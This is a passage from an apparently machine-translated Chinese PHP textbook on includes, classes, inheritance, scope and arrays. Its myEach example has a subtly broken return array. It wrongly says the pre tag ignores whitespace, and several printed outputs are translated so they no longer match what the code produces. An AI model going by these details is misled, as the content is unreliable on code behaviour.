  // Your code goes here
?>

使用 include_once

每次使用 include 指令,即使已经插入过,也会再次包含请求的文件。例如,假设 library.php 包含许多有用的函数,你将它包含在你的文件中,但你还包含了另一个包含 library.php 的库。通过嵌套,你无意中包含了 library.php 两次。这将产生错误消息,因为你尝试多次定义相同的常量或函数。所以,你应该使用 include_once 替代(参见 示例 5-7)。

示例 5-7. 仅包含一次 PHP 文件
<?php
  include_once "library.php";

  // Your code goes here
?>

然后,任何进一步尝试包含同一文件(使用 includeinclude_once)都将被忽略。要确定请求的文件是否已执行,需要在解析所有相对路径(到它们的绝对路径)并在你的 include 路径中找到文件后,匹配绝对文件路径。

注意

一般来说,最好坚持使用 include_once,忽略基本的 include 语句。这样,你就永远不会遇到多次包含文件的问题。

使用 require 和 require_once

includeinclude_once 的一个潜在问题是,PHP 只会 尝试 包含请求的文件。即使找不到文件,程序执行也会继续。

当绝对需要包含文件时,使用 require。出于同样的原因,我建议你在需要 require 文件时通常坚持使用 require_once(参见 示例 5-8)。

示例 5-8. 仅需要一次引入 PHP 文件
<?php
  require_once "library.php";

  // Your code goes here
?>

PHP 版本兼容性

PHP 正在持续开发中,有多个版本。如果需要检查特定函数是否可用于你的代码,可以使用 function_exists 函数,该函数检查所有预定义和用户创建的函数。

示例 5-9 检查 array_combine,这是仅适用于某些 PHP 版本的特定函数。

示例 5-9. 检查函数是否存在
<?php
  if (function_exists("array_combine"))
  {
    echo "Function exists";
  }
  else
  {
    echo "Function does not exist - better write our own";
  }
?>

使用这样的代码,你可以利用新版本 PHP 的功能,同时使你的代码在旧版本上运行,只要你复制了任何缺失的功能。你的函数可能比内置函数慢,但至少你的代码将更加可移植。

你也可以使用phpversion函数来确定你的代码运行在哪个版本的 PHP 上。返回的结果将类似于以下内容,具体取决于版本:

**  8.0.0**

PHP 对象

就像函数代表着编程力量在计算机早期时代的巨大增长一样,在那些时代,有时候最好的程序导航只是一个非常基本的GOTOGOSUB语句一样,面向对象编程(OOP)将函数的使用带入了不同的方向。

一旦你掌握了将可重用的代码片段压缩成函数的技巧,将这些函数及其数据打包成对象就不是那么大的飞跃了。

让我们以一个有很多部分的社交网络站点为例。其中一个部分处理所有用户功能——也就是说,用于启用新用户注册和现有用户修改其详细信息的代码。在标准的 PHP 中,你可能会创建一些函数来处理这些,并嵌入一些调用 MySQL 数据库的代码来跟踪所有用户。

要创建一个表示当前用户的对象,你可以创建一个类,也许叫做User,其中包含处理用户所需的所有代码以及操作类内部数据所需的所有变量。然后,每当需要操作用户数据时,你可以简单地使用User类创建一个新对象。

你可以将这个新对象视为实际的用户。例如,你可以向对象传递姓名、密码和电子邮件地址;询问它是否已存在这样一个用户;如果不存在,让它使用这些属性创建一个新用户。你甚至可以有一个即时消息对象,或者用于管理两个用户是否是朋友的对象。

术语

当创建一个使用对象的程序时,你需要设计一个称为的数据和代码的复合体。基于这个类创建的每个新对象称为该类的实例(或发生)。

与对象相关联的数据称为其属性;它所使用的函数称为方法。在定义一个类时,你提供其属性的名称和方法的代码。参见图 5-3 关于一个对象的自动唱机比喻。想象一下它在旋转碟盘中保存的 CD,就像是它的属性;播放它们的方法是在前面板上按按钮。还有一个插入硬币的槽口(用于激活对象的方法),以及一个激光唱片阅读器(用于从 CD 中检索音乐或属性的方法)。

一个自包含对象的绝佳例子:自动唱机

图 5-3. 一个自包含对象的绝佳例子:自动唱机

当你创建对象时,最好使用封装,或者以这样一种方式编写类,即只有其方法才能用于操作其属性。换句话说,你拒绝外部代码直接访问其数据。你提供的方法被称为对象的接口

这种方法使得调试变得容易:你只需修复类内的错误代码。 另外,当你想要升级程序时,如果使用了适当的封装并保持了相同的接口,你只需开发新的替代类,彻底调试它们,然后替换旧类。 如果它们不起作用,你可以重新替换旧类,立即修复问题,然后进一步调试新类。

一旦你创建了一个类,你可能会发现你需要另一个类,它与之类似但不完全相同。 最快最简单的方法是使用继承定义一个新类。 当你这样做时,你的新类拥有从它继承的所有属性。 原始类现在称为父类(或偶尔是超类),而新类则是子类(或派生类)。

在我们的点唱机示例中,如果你发明了一个新的点唱机,它可以同时播放视频和音乐,你可以继承原始点唱机超类的所有属性和方法,并添加一些新属性(视频)和新方法(电影播放器)。

这个系统的一个显著优点是,如果你提高了超类的速度或任何其他方面,其子类将获得同样的好处。 另一方面,对父/超类进行的任何更改可能会破坏子类。

声明类

在你可以使用对象之前,你必须用class关键字定义一个类。 类定义包含类名(区分大小写),其属性和其方法。 示例 5-10 定义了User类,具有两个属性$name$password(由public关键字指示—参见“属性和方法范围”)。 它还创建了这个类的新实例(称为$object)。

示例 5-10. 声明一个类并检查一个对象
<?php
  $object = new User;
  print_r($object);

  class User
  {
    public $name, $password;

    function save_user()
    {
      echo "Save User code goes here";
    }
  }
?>

在这里,我还使用了一个称为print_r的宝贵函数。 它要求 PHP 以人类可读的形式显示关于变量的信息。 (_r代表人类可读。) 在新对象$object的情况下,它显示如下内容:

`User` `Object`
`(`
  `[``name``]`     `=>`
  `[``password``]` `=>`
`)`

然而,浏览器会压缩所有空白字符,因此在浏览器中输出稍微难以阅读:

    用户对象([name] => [password] => )

无论如何,输出显示$object是一个具有属性namepassword的用户定义对象。

创建对象

要创建一个具有指定类的对象,请使用new关键字,如此:$object = new Class。 这里有几种我们可以这样做的方式:

$object = new User;
$temp   = new User('name', 'password');

在第一行中,我们只是将一个对象分配给User类。 在第二行,我们向调用传递参数。

一个类可能需要或禁止参数; 它也可能允许不明确需要的参数。

访问对象

让我们添加几行到示例 5-10,并检查结果。示例 5-11 通过设置对象属性并调用方法扩展了先前的代码。

示例 5-11. 创建并与对象交互
<?php
  $object = new User;
  print_r($object); echo "<br>";

  $object->name     = "Joe";
  $object->password = "mypass";
  print_r($object); echo "<br>";

  $object->save_user();

  class User
  {
    public $name, $password;

    function save_user()
    {
      echo "Save User code goes here";
    }
  }
?>

正如您所见,访问对象属性的语法是$object->property。同样,调用方法的方式是这样的:$object->method()

您应该注意到,示例中的propertymethod并没有在它们前面加上$符号。如果您在它们前面加上$符号,代码将无法工作,因为它会尝试引用变量中的值。例如,表达式$object->$property会尝试查找分配给名为$property的变量的值(假设该值是字符串brown),然后尝试引用属性$object->brown。如果$property未定义,则会尝试引用$object->NULL并导致错误。

使用浏览器的查看源代码工具查看示例 5-11 的输出如下:

`User` `Object`
`(`
  `[``name``]`     `=>`
  `[``password``]` `=>`
`)`
`User` `Object`
`(`
  `[``name``]`     `=>` `Joe`
  `[``password``]` `=>` `mypass`
`)`
`Save` `User` `code` `goes` `here`

再次使用print_r通过在属性分配之前和之后提供$object的内容来展示其实用性。从现在开始,我将省略print_r语句,但是如果您在开发服务器上跟随本书工作,可以添加一些语句以准确了解发生了什么。

您还可以看到,在方法save_user中的代码通过调用该方法而执行。它打印了一个提醒我们创建一些代码的字符串。

注意

您可以将函数和类定义放置在代码的任何位置,无论是在使用它们的语句之前还是之后。不过,通常认为将它们放置在文件的末尾是一种良好的实践。

克隆对象

一旦创建了对象,在将其作为参数传递时,它将按引用传递。用火柴盒的比喻来说,这就像将几根线固定在一个放在火柴盒中的对象上,这样您就可以跟随任何附加的线来访问它。

换句话说,对象分配并不复制对象的整体内容。您将在示例 5-12 中看到这是如何工作的,我们定义了一个非常简单的User类,没有方法,只有属性name

示例 5-12. 复制对象
<?php
  $object1       = new User();
  $object1->name = "Alice";
  $object2       = $object1;
  $object2->name = "Amy";

  echo "object1 name = " . $object1->name . "<br>";
  echo "object2 name = " . $object2->name;

  class User
  {
    public $name;
  }
?>

在这里,我们首先创建对象$object1并将值Alice分配给name属性。然后,我们创建$object2,将其赋值为$object1的值,并仅将Amy赋值给$object2name属性——或者我们可能会这样认为。但是,此代码输出如下:

object1 name = Amy
object2 name = Amy

发生了什么?$object1$object2都指向同一个对象,因此将$object2name属性更改为Amy也会为$object1设置该属性。

为了避免混淆,可以使用clone操作符,它创建类的新实例,并从原始实例复制属性值到新实例中。示例 5-13 展示了这种用法。

示例 5-13. 克隆对象
<?php
  $object1       = new User();
  $object1->name = "Alice";
  $object2       = clone $object1;
  $object2->name = "Amy";

  echo "object1 name = " . $object1->name . "<br>";
  echo "object2 name = " . $object2->name;

  class User
  {
    public $name;
  }
?>

瞧!这段代码的输出正是我们最初想要的:

object1 name = Alice
object2 name = Amy

构造函数

当创建一个新对象时,你可以向被调用的类传递一系列参数。这些参数传递给类中的一个特殊方法,称为构造方法,它初始化各种属性。

要做到这一点,你使用函数名__construct(即,construct前面加上两个下划线字符),就像在示例 5-14 中一样。

示例 5-14. 创建构造方法
<?php
  class User
  {
    function __construct($param1, $param2)
    {
      // Constructor statements go here
    }
  }
?>

析构函数

你还可以创建析构方法。当代码已经引用了一个对象或脚本达到结尾时,这个功能非常有用。示例 5-15 展示了如何创建析构方法。析构函数可以进行清理工作,例如释放数据库连接或类中保留的其他资源。因为你在类中保留了资源,所以必须在这里释放它,否则它将无限期存在。许多系统-wide 问题是由程序保留资源并忘记释放它们引起的。

示例 5-15. 创建析构方法
<?php
  class User
  {
    function __destruct()
    {
      // Destructor code goes here
    }
  }
?>

编写方法

正如你所见,声明方法类似于声明函数,但有一些区别。例如,以双下划线 (__) 开头的方法名是保留的(例如,__construct__destruct),你不应该创建这种形式的任何方法。

你还可以访问一个特殊的变量称为$this,它可以用来访问当前对象的属性。要了解它是如何工作的,请看示例 5-16,其中包含了User类定义中不同的方法get_password

示例 5-16. 在方法中使用变量$this
<?php
  class User
  {
    public $name, $password;

    function get_password()
    {
      return $this->password;
    }
  }
?>

get_password使用$this变量来访问当前对象,然后返回该对象的password属性的值。请注意,当我们使用->操作符时,前面的$符号在$password属性中被省略了。在首次使用此功能时,保留$可能是一个典型的错误。

下面是如何使用在示例 5-16 中定义的类:

$object           = new User;
$object->password = "secret";

echo $object->get_password();

这段代码打印出密码secret

声明属性

在类中显式声明属性并不是必需的,因为它们可以在首次使用时隐式定义。为了说明这一点,在示例 5-17 中,User类没有属性和方法,但是这是合法的代码。

示例 5-17. 隐式定义属性
<?php
  $object1       = new User();
  $object1->name = "Alice";

  echo $object1->name;

  class User {}
?>

这段代码正确输出字符串Alice,没有问题,因为 PHP 会隐式地为你声明属性$object1->name。但这种编程方式可能会导致极难发现的错误,因为name是从类外部声明的。

为了帮助自己和任何将来维护你代码的人,我建议你养成在类内部始终显式声明属性的习惯。你会为此感到高兴的。

此外,当你在类内声明一个属性时,你可以为其分配一个默认值。你使用的值必须是一个常量,而不是函数或表达式的结果。示例 5-18 展示了一些有效和无效的赋值。

示例 5-18. 有效和无效的属性声明
<?php
  class Test
  {
    public $name  = "Paul Smith"; // Valid
    public $age   = 42;           // Valid
    public $time  = time();       // Invalid - calls a function
    public $score = $level * 2;   // Invalid - uses an expression
  }
?>

声明常量

就像你可以使用define函数创建全局常量一样,你也可以在类内部定义常量。普遍接受的做法是使用大写字母以突出它们的重要性,如示例 5-19 所示。

示例 5-19. 在类内定义常量
<?php
  Translate::lookup();

  class Translate
  {
    const ENGLISH = 0;
    const SPANISH = 1;
    const FRENCH  = 2;
    const GERMAN  = 3;
    // ...

    static function lookup()
    {
      echo self::SPANISH;
    }
  }
?>

你可以直接引用常量,使用self关键字和双冒号操作符。请注意,此代码在第 1 行直接调用类,而不是先创建实例。运行此代码时打印的值将是1

请记住,一旦定义了常量,就不能更改它。

属性和方法的作用域

PHP 提供了三个关键字来控制属性和方法(成员)的作用域:

public

公共成员可以在任何地方引用,包括其他类和对象的实例。这是使用varpublic关键字声明变量时的默认值,或者在第一次使用变量时隐式声明的默认值。varpublic关键字是可互换的,因为尽管var已被弃用,但为了与 PHP 的旧版本兼容,它仍然保留。方法默认被假定为public

protected

这些成员只能通过对象的类方法及其任何子类的方法引用。

private

这些成员只能通过同一类内的方法引用,而不能通过子类引用。

下面是如何决定使用哪个:

  • 当外部代码应该访问此成员且扩展类也应该继承它时,请使用public

  • 当外部代码不应该访问此成员但扩展类应该继承它时,请使用protected

  • 当外部代码不应该访问此成员且扩展类也不应该继承它时,请使用private

示例 5-20 说明了这些关键字的使用。

示例 5-20. 改变属性和方法的作用域
<?php
  class Example
  {
    var $name   = "Michael"; // Same as public but deprecated
    public $age = 23;        // Public property
    protected $usercount;    // Protected property

    private function admin() // Private method
    {
      // Admin code goes here
    }
  }
?>

静态方法

您可以将方法定义为static,这意味着它是在类上调用而不是在对象上调用。静态方法无法访问任何对象属性,并且如在示例 5-21 中所示创建和访问。

示例 5-21. 创建和访问静态方法
<?php
  User::pwd_string();

  class User
  {
    static function pwd_string()
    {
      echo "Please enter your password";
    }
  }
?>

注意如何使用双冒号(也称为作用域解析运算符)而不是->来调用类本身以及静态方法。静态函数用于执行与类本身相关的操作,而不是特定类的实例。您可以在示例 5-19 中看到另一个静态方法的示例。

注意

如果尝试从静态函数内部访问$this->property或其他对象属性,将收到错误消息。

静态属性

大多数数据和方法适用于类的实例。例如,在User类中,您希望执行设置特定用户密码或检查用户注册时间等操作。这些事实和操作分别适用于每个用户,因此使用实例特定的属性和方法。

但偶尔您可能需要维护关于整个类的数据。例如,要报告注册用户的数量,您将存储一个适用于整个User类的变量。PHP 提供了用于此类数据的静态属性和方法。

如示例 5-21 中简要显示的那样,声明类成员为static使它们可以在不实例化类的情况下访问。声明为static的属性无法在类的实例内直接访问,但静态方法可以。

示例 5-22 定义了一个名为Test的类,其中包含一个静态属性和一个公共方法。

示例 5-22. 定义具有静态属性的类
<?php
  $temp = new Test();

  echo "Test A: " . Test::$static_property . "<br>";
  echo "Test B: " . $temp->get_sp()        . "<br>";
  echo "Test C: " . $temp->static_property . "<br>";

  class Test
  {
    static $static_property = "I'm static";

    function get_sp()
    {
       return self::$static_property;
    }
  }
?>

运行此代码时,将返回以下输出:

 Test A: I'm static
Test B: I'm static
Notice: Undefined property: Test::$static_property
Test C: 

此示例显示,通过 Test A 中的双冒号运算符,可以直接从类本身引用属性$static_property。另外,Test B 可以通过从类Test创建的对象$temp调用get_sp方法来获取其值。但是,Test C 失败了,因为对象$temp无法访问静态属性$static_property

注意方法get_sp如何使用关键字self访问$static_property。这是在类内部直接访问静态属性或常量的方式。

继承

定义类后,可以从中派生子类。这可以节省大量费力的代码重写:您可以取一个与您需要编写的类类似的类,将其扩展为子类,并仅修改不同的部分。您可以使用extends关键字来实现这一点。

在示例 5-23 中,类Subscriber通过extends关键字声明为User的子类。

示例 5-23. 继承和扩展类
<?php
  $object           = new Subscriber;
  $object->name     = "Fred";
  $object->password = "pword";
  $object->phone    = "012 345 6789";
  $object->email    = "fred@bloggs.com";
  $object->display();

  class User
  {
    public $name, $password;

    function save_user()
    {
      echo "Save User code goes here";
    }
  }

  class Subscriber extends User
  {
    public $phone, $email;

    function display()
    {
      echo "Name:  " . $this->name     . "<br>";
      echo "Pass:  " . $this->password . "<br>";
      echo "Phone: " . $this->phone    . "<br>";
      echo "Email: " . $this->email;
    }
  }
?>

原始User类具有两个属性,$name$password,以及一个将当前用户保存到数据库的方法。 Subscriber通过添加另外两个属性$phone$email来扩展此类,并包括使用变量$this显示当前对象属性的方法,该变量引用正在访问的对象的当前值。 此代码的输出如下:

    名称:  弗雷德     密码:  密码     电话: 012 345 6789     电子邮件: fred@bloggs.com

父关键字

如果您在子类中编写与父类中同名的方法,其语句将覆盖父类的语句。 有时这不是您想要的行为,您需要访问父方法。 为此,可以使用parent运算符,如示例 5-24。

示例 5-24. 覆盖方法并使用parent运算符
<?php
  $object = new Son;
  $object->test();
  $object->test2();

  class Dad
  {
    function test()
    {
      echo "[Class Dad] I am your Father<br>";
    }
  }

  class Son extends Dad
  {
    function test()
    {
      echo "[Class Son] I am Luke<br>";
    }

    function test2()
    {
      parent::test();
    }
  }
?>

此代码创建了一个名为Dad的类和一个名为Son的子类,后者继承了其属性和方法,然后覆盖了方法test。 因此,当第 2 行调用方法test时,将执行新方法。 要执行Dad类中重写的test方法的唯一方法是使用parent运算符,如Son类的test2函数所示。 代码输出如下:

**    [类儿子] 我是卢克**

**    [类爸爸] 我是你的父亲**

如果希望确保您的代码调用当前类的方法,可以使用self关键字,如下所示:

self::method();

子类构造函数

当您扩展一个类并声明自己的构造函数时,应该意识到 PHP 不会自动调用父类的构造函数。 如果希望确保执行所有初始化代码,子类应始终调用父类构造函数,如示例 5-25。

示例 5-25. 调用父类构造函数
<?php
  $object = new Tiger();

  echo "Tigers have...<br>";
  echo "Fur: " . $object->fur . "<br>";
  echo "Stripes: " . $object->stripes;

  class Wildcat
  {
    public $fur; // Wildcats have fur

    function __construct()
    {
      $this->fur = "TRUE";
    }
  }

  class Tiger extends Wildcat
  {
    public $stripes; // Tigers have stripes

    function __construct()
    {
      parent::__construct(); // Call parent constructor first
      $this->stripes = "TRUE";
    }
  }
?>

此示例以典型方式利用继承。 Wildcat类创建了属性$fur,我们希望重用该属性,因此我们创建了Tiger类来继承$fur并额外创建了另一个属性$stripes。 为了验证已调用两个构造函数,程序输出如下:

    老虎有...     毛皮: TRUE     条纹: TRUE

最终方法

当你希望防止子类覆盖超类方法时,可以使用final关键字。 示例 5-26 演示了如何使用。

示例 5-26. 创建一个final方法
<?php
  class User
  {
    final function copyright()
    {
      echo "This class was written by Joe Smith";
    }
  }
?>

一旦您消化了本章的内容,您应该对 PHP 能为您做什么有很强的感觉。 您应该能够轻松使用函数,并且如果希望,编写面向对象的代码。 在第六章中,我们将通过查看 PHP 数组的工作方式来完成我们对 PHP 的初步探索。

问题

  1. 使用函数的主要好处是什么?

  2. 函数可以返回多少个值?

  3. 通过名称和引用访问变量之间有什么区别?

  4. 作用域在 PHP 中的含义是什么?

  5. 如何在一个 PHP 文件中引用另一个?

  6. 对象与函数有何不同?

  7. 如何在 PHP 中创建一个新对象?

  8. 使用什么语法可以从现有类创建一个子类?

  9. 如何在创建对象时使其初始化?

  10. 明确在类中声明属性是个好主意的原因是什么?

参见“第五章答案”,可以找到这些问题的答案。

第六章:PHP 数组

在第三章中,我对 PHP 数组进行了非常简要的介绍——仅仅足够让你略知一二它们的强大。在本章中,我将向你展示更多可以用数组做的事情,其中一些——如果你曾经使用过像 C 这样的强类型语言——可能会因其优雅和简洁而让你感到惊讶。

数组不仅消除了编写处理复杂数据结构的代码的枯燥感,而且提供了许多访问数据的方式,同时保持惊人的快速性。

基本访问

我们已经看过数组,就好像它们是粘在一起的火柴盒群。另一种思考数组的方法是把它看作是一串珠子,每个珠子代表一个可以是数字、字符串或甚至其他数组的变量。它们像珠串一样,因为每个元素都有自己的位置,并且(除了第一个和最后一个)每个元素两侧都有其他元素。

有些数组通过数字索引进行引用;其他允许使用字母数字标识符。内置函数允许你对它们进行排序、添加或移除部分,并通过一种特殊的循环来遍历它们处理每个项目。通过在另一个数组内放置一个或多个数组,你可以创建二维、三维或任意维数的数组。

数字索引数组

假设你被委托为当地一家办公用品公司创建一个简单的网站,目前正在处理与纸张相关的部分。管理该类别库存中各种物品的一种方式是将它们放入一个数字数组中。你可以在例子 6-1 中看到最简单的做法。

例子 6-1. 向数组添加项目
<?php
  $paper[] = "Copier";
  $paper[] = "Inkjet";
  $paper[] = "Laser";
  $paper[] = "Photo";

  print_r($paper);
?>

在这个例子中,每当你给数组$paper赋值时,都会使用该数组内的第一个空位置来存储值,并且 PHP 内部的指针会递增指向下一个空位置,为将来的插入做准备。熟悉的print_r函数(用于打印变量、数组或对象的内容)用于验证数组是否已正确填充。它打印出以下内容:

Array
(
  [0] => Copier
  [1] => Inkjet
  [2] => Laser
  [3] => Photo
)

之前的代码也可以像在例子 6-2 中展示的那样书写,其中指定了数组中每个项目的确切位置。但是,正如你所看到的,这种方法需要额外的输入,并且如果你想要在数组中插入或删除项目,会使得你的代码更难维护。所以,除非你希望指定不同的顺序,通常最好让 PHP 处理实际的位置编号。

例子 6-2. 使用显式位置向数组添加项目
<?php
  $paper[0] = "Copier";
  $paper[1] = "Inkjet";
  $paper[2] = "Laser";
  $paper[3] = "Photo";

  print_r($paper);
?>

这些例子的输出是相同的,但在开发网站时你不太可能使用print_r,所以例子 6-3 展示了如何使用for循环打印出网站提供的各种类型的纸张。

示例 6-3. 向数组添加项目并检索它们
<?php
  $paper[] = "Copier";
  $paper[] = "Inkjet";
  $paper[] = "Laser";
  $paper[] = "Photo";

  for ($j = 0 ; $j < 4 ; ++$j)
    echo "$j: $paper[$j]<br>";
?>

此示例打印出以下内容:

 0: Copier
  1: Inkjet
  2: Laser
  3: Photo

到目前为止,你已经看到了几种向数组添加项目和引用它们的方式。PHP 还提供了更多方法,稍后会详细介绍。但首先,我们将看看另一种类型的数组。

关联数组

通过索引跟踪数组元素可以很好地工作,但可能需要额外的工作来记住哪个数字指代哪个产品。这也可能使得其他程序员难以理解代码。

这就是关联数组发挥作用的地方。使用它们,您可以通过名称而不是数字引用数组中的项目。示例 6-4 扩展了先前的代码,为数组中的每个元素赋予了一个标识名称和一个更长、更详细的字符串值。

示例 6-4. 向关联数组添加项目并检索它们
<?php
  $paper['copier'] = "Copier & Multipurpose";
  $paper['inkjet'] = "Inkjet Printer";
  $paper['laser']  = "Laser Printer";
  $paper['photo']  = "Photographic Paper";

  echo $paper['laser'];
?>

现在,每个项目都有一个您可以在其他地方引用的唯一名称,例如 echo 语句—它仅仅打印出 激光打印机。这些名称(如 复印机喷墨打印机 等)称为索引,而分配给它们的项目(如 激光打印机)称为

PHP 的这一强大功能经常用于从 XML 和 HTML 中提取信息。例如,像搜索引擎使用的 HTML 解析器可以将网页的所有元素放入一个关联数组中,其名称反映了页面的结构:

$html['title'] = "My web page";
$html['body']  = "... body of web page ...";

该程序还可能会将页面中找到的所有链接分解为另一个数组,并将所有标题和副标题分解为另一个数组。当您使用关联数组而不是数值数组时,引用所有这些项的代码变得易于编写和调试。

使用 array 关键字进行赋值

到目前为止,你已经学会了如何通过逐个添加新项目来向数组赋值。无论你指定键、指定数字标识符还是让 PHP 隐式分配数字标识符,这都是一种冗长的方法。使用 array 关键字,有一种更紧凑和更快速的赋值方法。示例 6-5 展示了使用这种方法分配的数字和关联数组。

示例 6-5. 使用 array 关键字向数组添加项目
<?php
  $p1 = array("Copier", "Inkjet", "Laser", "Photo");

  echo "p1 element: " . $p1[2] . "<br>";

  $p2 = array('copier' => "Copier & Multipurpose",
              'inkjet' => "Inkjet Printer",
              'laser'  => "Laser Printer",
              'photo'  => "Photographic Paper");

  echo "p2 element: " . $p2['inkjet'] . "<br>";
?>

此片段的前半部分将旧的、简短的产品描述分配给数组 $p1。有四个项目,因此它们将占据 0 到 3 的位置。因此,echo 语句打印出以下内容:

    p1 元素:激光

第二部分使用格式key => value 将关联标识符和伴随的较长产品描述分配给数组$p2=>的使用类似于常规的=赋值运算符,不同之处在于你正在为索引而不是变量赋值。索引因此与该值紧密联系,除非它被赋予新值。因此,echo命令打印出以下内容:

    p2 元素: 墨水喷墨打印机

你可以验证$p1$p2是不同类型的数组,因为将以下两个命令附加到代码后,都会导致Undefined indexUndefined offset错误,因为每个数组标识符都不正确:

echo $p1['inkjet']; // Undefined index
echo $p2[3];        // Undefined offset

foreach...as循环

PHP 的创建者为了使语言易于使用,做出了很大努力。因此,他们不满足于已经提供的循环结构,特别为数组添加了另一个循环:foreach...as循环。使用它,你可以逐个遍历数组中的所有项,并对它们进行操作。

这个过程从第一项开始,直到最后一项结束,因此你甚至不需要知道数组中有多少项。示例 6-6 展示了如何使用foreach...as重写示例 6-3。

示例 6-6. 使用foreach...as遍历数值数组
<?php
  $paper = array("Copier", "Inkjet", "Laser", "Photo");
  $j = 0;

  foreach($paper as $item)
  {
    echo "$j: $item<br>";
    ++$j;
  }
?>

当 PHP 遇到foreach语句时,它将数组的第一个项放入跟随as关键字的变量中;每次控制流返回到foreach时,下一个数组元素将被放入as关键字中。在这种情况下,变量$item依次设置为数组$paper中的每个值。一旦所有值都被使用,循环的执行结束。这段代码的输出与示例 6-3 完全相同。

现在让我们看看如何通过查看示例 6-7,了解foreach如何与关联数组一起使用,这是示例 6-5 的后半部分重写。

示例 6-7. 使用foreach...as 遍历关联数组
<?php
  $paper = array('copier' => "Copier & Multipurpose",
                 'inkjet' => "Inkjet Printer",
                 'laser'  => "Laser Printer",
                 'photo'  => "Photographic Paper");

  foreach($paper as $item => $description)
    echo "$item: $description<br>";
?>

请记住,关联数组不需要数值索引,因此在此示例中未使用变量$j。相反,数组$paper的每个项被传递到变量$item$description的键/值对中,从中打印出它们。该代码的显示结果如下:

    复印机: 复印机和多用途     墨水喷墨: 墨水喷墨打印机     激光: 激光打印机     照片: 摄影纸

在 PHP 7.2 版本之前,作为foreach...as的替代语法,您可以将list函数与each函数结合使用。然而,each随后被弃用,因此不建议使用,因为它可能会在未来的版本中删除。对于需要更新的 PHP 程序员来说,这是一场噩梦,尤其是each函数非常有用。因此,我编写了一个名为myEach的替代品,它的功能与each完全相同,并且允许您轻松更新旧代码,如示例 6-8。

示例 6-8. 使用myEachlist遍历关联数组
<?php
  $paper = array('copier' => "Copier & Multipurpose",
                 'inkjet' => "Inkjet Printer",
                 'laser'  => "Laser Printer",
                 'photo'  => "Photographic Paper");

  while (list($item, $description) = myEach($paper))
    echo "$item: $description<br>";

  function myEach(&$array) // Replacement for the deprecated each function
  {
    $key    = key($array);
    $result = ($key === null) ? false :
              [$key, current($array), 'key', 'value' => current($array)];
    next($array);
    return $result;
  }
?>

在这个示例中,设置了一个while循环,并且将继续循环,直到myEach函数(等同于旧版 PHP 的each函数)返回FALSE为止。myEach函数类似于foreach,它返回一个包含数组$paper中的键/值对的数组,然后将其内置指针移动到该数组中的下一个对。当没有更多的对要返回时,myEach返回FALSE

list函数接受一个数组作为其参数(在本例中,是函数myEach返回的键/值对),然后将数组的值分配给括号内列出的变量。

在示例 6-9 中,您可以更清楚地看到list函数的工作原理,其中一个数组由两个字符串AliceBob创建,然后传递给list函数,该函数将这些字符串分配为变量$a$b的值。

示例 6-9. 使用list函数
<?php
  list($a, $b) = array('Alice', 'Bob');
  echo "a=$a b=$b";
?>

这段代码的输出如下所示:

    a=Alice b=Bob

因此,在处理数组时,您可以根据需要选择。使用foreach...as创建一个循环,将值提取到as后面的变量中,或者使用myEach函数创建自己的循环系统。

多维数组

PHP 数组语法中的一个简单设计特性使得可以创建多维数组。事实上,它们可以是任意多维(尽管很少有应用程序会超过三维)。

这个特性是将整个数组作为另一个数组的一部分包含进来,并且可以继续这样做,就像那首古老的韵文:“大跳蚤背上有小跳蚤来咬它们。小跳蚤有更小的跳蚤,继续蚤类,无穷尽。”

让我们通过扩展前面示例中的关联数组来看看它是如何工作的;参见示例 6-10。

示例 6-10. 创建一个多维关联数组
<?php
  $products = array(

    'paper' => array(

      'copier' => "Copier & Multipurpose",
      'inkjet' => "Inkjet Printer",
      'laser'  => "Laser Printer",
      'photo'  => "Photographic Paper"),

    'pens' => array(

      'ball'   => "Ball Point",
      'hilite' => "Highlighters",
      'marker' => "Markers"),

    'misc' => array(

      'tape'   => "Sticky Tape",
      'glue'   => "Adhesives",
      'clips'  => "Paperclips"
    )
  );

  echo "<pre>";

  foreach($products as $section => $items)
    foreach($items as $key => $value)
      echo "$section:\t$key\t($value)<br>";

  echo "</pre>";
?>

现在代码开始增长,为了使事情更清晰,我已经重新命名了一些元素。例如,因为前面的数组$paper现在只是更大数组的一个子部分,所以主数组现在称为$products。在这个数组内部,有三个条目——paperpensmisc——每个条目都包含另一个带有键/值对的数组。

如果必要的话,这些子数组可能还包含更进一步的数组。例如,在 ball 下面可能有许多不同类型和颜色的圆珠笔可以在在线商店中获取。但是现在,我将代码限制在了只有两层的深度。

一旦数组数据被赋值,我使用一对嵌套的 foreach...as 循环来打印出各种值。外部循环从数组的顶层提取主要部分,内部循环提取每个部分内的键/值对。

只要记住每个数组级别都以相同方式工作(它是一个键/值对),你可以轻松编写代码来访问任何级别的任何元素。

echo 语句利用 PHP 转义字符 \t 输出制表符。尽管制表符通常对网页浏览器来说不重要,但我让它们被 <pre>...</pre> 标签使用,这告诉浏览器将文本格式化为预格式化和等宽字体,并且 忽略空白字符如制表符和换行符。从这段代码的输出看起来,如下所示:

paper:  copier  (Copier & Multipurpose)
paper:  inkjet  (Inkjet Printer)
paper:  laser   (Laser Printer)
paper:  photo   (Photographic Paper)
pens:   ball    (Ball Point)
pens:   hilite  (Highlighters)
pens:   marker  (Markers)
misc:   tape    (Sticky Tape)
misc:   glue    (Adhesives)
misc:   clips   (Paperclips)

你可以通过使用方括号直接访问数组的特定元素。

echo $products['misc']['glue'];

这输出值为 胶粘剂

你也可以创建数值型多维数组,通过索引而不是通过字母数字标识符进行访问。示例 6-11 创建了一个象棋游戏的棋盘,其中各个棋子处于起始位置。

示例 6-11. 创建一个多维数值数组
<?php
  $chessboard = array(
    array('r', 'n', 'b', 'q', 'k', 'b', 'n', 'r'),
    array('p', 'p', 'p', 'p', 'p', 'p', 'p', 'p'),
    array(' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '),
    array(' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '),
    array(' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '),
    array(' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '),
    array('P', 'P', 'P', 'P', 'P', 'P', 'P', 'P'),
    array('R', 'N', 'B', 'Q', 'K', 'B', 'N', 'R')
  );

  echo "<pre>";

  foreach($chessboard as $row)
  {
    foreach ($row as $piece)
      echo "$piece ";

    echo "<br>";
  }

  echo "</pre>";
?>

在这个例子中,小写字母表示黑色棋子,大写字母表示白色棋子。键为 r = 车,n = 马,b = 象,k = 王,q = 后,p = 兵。同样,一对嵌套的 foreach...as 循环遍历数组并显示其内容。外部循环将每一行处理为变量 $row,它本身是一个数组,因为 $chessboard 数组为每一行使用一个子数组。这个循环内有两条语句,所以用大括号将它们括起来。

